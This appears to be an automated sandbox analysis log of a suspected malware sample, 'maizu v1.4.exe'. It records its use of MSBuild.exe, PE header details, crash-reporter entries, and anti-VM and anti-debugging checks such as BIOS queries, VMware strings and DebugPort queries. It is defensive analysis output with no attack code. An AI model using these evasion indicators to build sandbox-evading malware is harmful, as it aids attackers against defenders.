Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: maizu v1.4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: maizu v1.4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: maizu v1.4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: maizu v1.4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: maizu v1.4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: maizu v1.4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: maizu v1.4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: maizu v1.4.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: maizu v1.4.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: maizu v1.4.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: maizu v1.4.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: maizu v1.4.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: maizu v1.4.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: maizu v1.4.exe

Static PE information: real checksum: 0x8f580 should be: 0x9322a

Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BC6EF4 push ecx; ret	0_2_00BC6F07
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00C0172A push eax; retf	0_2_00C0172F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041584A push eax; retf	1_2_0041584F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\maizu v1.4.exe

API coverage: 8.8 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7116

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\maizu v1.4.exe

Code function: 0_2_00BD980F FindFirstFileExW,

0_2_00BD980F

Source: Amcache.hve.7.dr	Binary or memory string: VMware
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.7.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.7.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: MSBuild.exe, 00000001.00000002.2311278206.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2311278206.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.7.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.7.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.7.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.7.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.7.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.7.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.7.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.7.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.7.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

API call chain: ExitProcess graph end node

graph_1-21565

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004464F0 LdrInitializeThunk,

1_2_004464F0

Source: C:\Users\user\Desktop\maizu v1.4.exe

Code function: 0_2_00BC7672 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00BC7672

Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 0_2_00BDA39E mov eax, dword ptr fs:[00000030h]	0_2_00BDA39E
